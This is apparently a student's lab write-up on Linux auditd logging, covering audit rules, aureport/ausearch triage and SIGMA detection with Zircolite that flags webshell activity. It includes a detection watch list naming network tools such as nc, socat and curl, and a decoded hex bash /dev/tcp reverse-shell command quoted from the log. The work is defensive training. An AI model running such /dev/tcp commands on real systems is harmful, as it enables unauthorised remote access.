Lab 6.3 - Linux Logging and Auditing

Context

This lab walks the full Linux audit pipeline: an auditd rules file that watches recon/suspicious binaries, aureport/ausearch for querying audit.log, decoding a hex-encoded bash reverse shell, and finally running Zircolite with a SIGMA ruleset to surface 177 Webshell Remote Command Execution events from the same audit log.

Tools used

Steps taken

1Open the auditd rules file

Opened /sec401/labs/6.3/audit.rules with gedit, Florian Roth's Best-Practice auditd rules file, based on gov.uk auditd, CentOS 7 hardening, and linux-audit.com tuning guides.

$ cd /sec401/labs/6.3
$ gedit audit.rules &

2Review recon / susp_activity / sssd rules

Core audit patterns: -w <path> -p x -k <key> watches binaries for execution. Recon watches cover whoami, id, hostname, uname, /etc/issue. susp_activity covers wget, curl, base64, nc, netcat, ncat, ss, netstat, ssh, scp, sftp, ftp, socat, wireshark, tshark, rdesktop, xfreerdp, nmap. sssd block uses -a always,exit -F path=... -F perm=x -F auid>=500 to audit only real-user exec (auid>=500 excludes system accounts).

$ # syntax shown:
$ -w /usr/bin/whoami -p x -k recon
$ -w /usr/bin/nc -p x -k susp_activity
$ -a always,exit -F path=/usr/libexec/sssd/p11_child -F perm=x -F auid>=500 -F auid!=4294967295 -k T1078_Valid_Accounts

-wwatch a path

-p xon execute (r/w/a/x for read/write/attr/exec)

-kkey name (aureport/ausearch filter)

-a always,exitrule fires on syscall exit

-Ffield filter (perm, path, auid)

auid!=4294967295exclude unset audit UID

3aureport --summary

aureport --input ./audit.log --summary, high-level triage view of a captured audit log. 41020 events, 28 failed logins, 13 failed authentications, 72 commands, 50 executables, 83 files, 1544 failed syscalls, 17 keys, 21518 process IDs. Range Sep 28 2023 20:56 → Sep 29 14:23. This is the one-liner you run first to size the investigation.

$ aureport --input ./audit.log --summary

--inputread from a file instead of /var/log/audit/audit.log

--summaryone-screen overview

4aureport --key --summary

Key-based breakdown of which audit rules fired most. network_socket_created 21638, detect_execve_www 14588, 'remote_shell' 3029, network_connect_4 880, susp_shell 162, etcpasswd 55, software_mgmt 37, network_connect_6 25, recon 24, session 21, systemd 16, Data_Compressed 8, specialfiles 7, susp_activity 4, string_search 2, anon_file_create 2, sbin_susp 1. This collapses 41k events into 17 focus areas.

$ aureport --input audit.log --key --summary

5Decode a hex-encoded reverse shell

One of the audit events contained a hex-encoded command. Piped the hex string through xxd -r -p to decode: /usr/bin/bash -c (echo </dev/tcp/host.docker.internal/3869) 2>/dev/null, a classic bash /dev/tcp reverse shell testing an open port. Decoding hex-obfuscated payloads is a standard CyberLive skill.

$ echo -n 2F7573722F62696E2F62617368002D6300286563686F203C2F6465762F7463702F686F73742E646F636B65722E696E7465726E616C2F333836392920323E2F6465762F6E756C6C2026 | xxd -r -p ; echo

xxd -r -preverse hex to bytes, plain format (no line numbers)

-n on echono trailing newline

6ausearch by key

ausearch --input audit.log -k sbin_susp, pulls every event with key sbin_susp. Output is the raw audit format: PROCTITLE, PATH, EXECVE, SYSCALL. Shows uid=33 (www-data) invoking /usr/sbin/tcpdump, the web server user spawning a packet sniffer, which is the whole point of the sbin_susp key.

$ ausearch --input audit.log -k sbin_susp

-kfilter by key (same name you set in the -k rule field)

7ausearch -i for interpreted output

Same query with -i. Now UIDs render as usernames (www-data instead of 33), timestamps render as human-readable (09/28/2023 20:56:15.474 instead of the 1695934575.474 unix timestamp), and arch shows x86_64. -i is the one flag that makes ausearch output actually readable under exam time pressure.

$ ausearch --input audit.log -k sbin_susp -i

-iinterpret numeric fields (uid/gid → name, epoch → date, syscall numbers → names)

8Zircolite: SIGMA over audit.log

zircolite --events audit.log --ruleset rules/alpha_rules_linux.json --audit, runs 169 SIGMA detection rules against the audit log. Finished in 13 seconds. Two hits: Webshell Remote Command Execution [critical] → 177 events, System Information Discovery - Auditd [low] → 11 events. Zircolite is the 'one command turns raw audit.log into SIEM-style alerts' tool.

$ zircolite --events audit.log --ruleset rules/alpha_rules_linux.json --audit

--eventsinput log (audit.log, evtx, sysmon)

--rulesetcompiled SIGMA JSON

--audittells Zircolite this is Linux auditd format

9Review detected_events.json

Zircolite wrote detected_events.json: title 'Webshell Remote Command Execution', id c0d3734d-330f-4a03-aae2-65dacc6a8222, rule_level critical, tags attack.persistence + attack.t1505.003, count 177. The underlying SIGMA query was SELECT * FROM logs WHERE type='SYSCALL' AND syscall='59' AND exe='/usr/bin/dash', execve of dash by the web server, which is the webshell signature.

$ gedit detected_events.json &

Key findings

Outcome / Lessons learned

Demonstrated the full Linux detection pipeline from auditd rules → aureport/ausearch triage → hex-payload decode → SIGMA detection with Zircolite. End state: 41k events narrowed to 177 Webshell RCE alerts with MITRE ATT&CK T1505.003 mapping, all from standard Linux tooling.

Ship audit.log into the SIEM (Splunk, Elastic) with key-based field extraction so analysts can pivot by recon / susp_activity / remote_shell without running ausearch on every host. Deploy Zircolite as a cron to produce detected_events.json per-host and forward the critical-rule hits into the ticketing system. Expand the rules file with MITRE-mapped keys (T1059, T1071, T1087) so every audit rule carries its own ATT&CK tag.

What I took away from this

Evidence gallery

123456789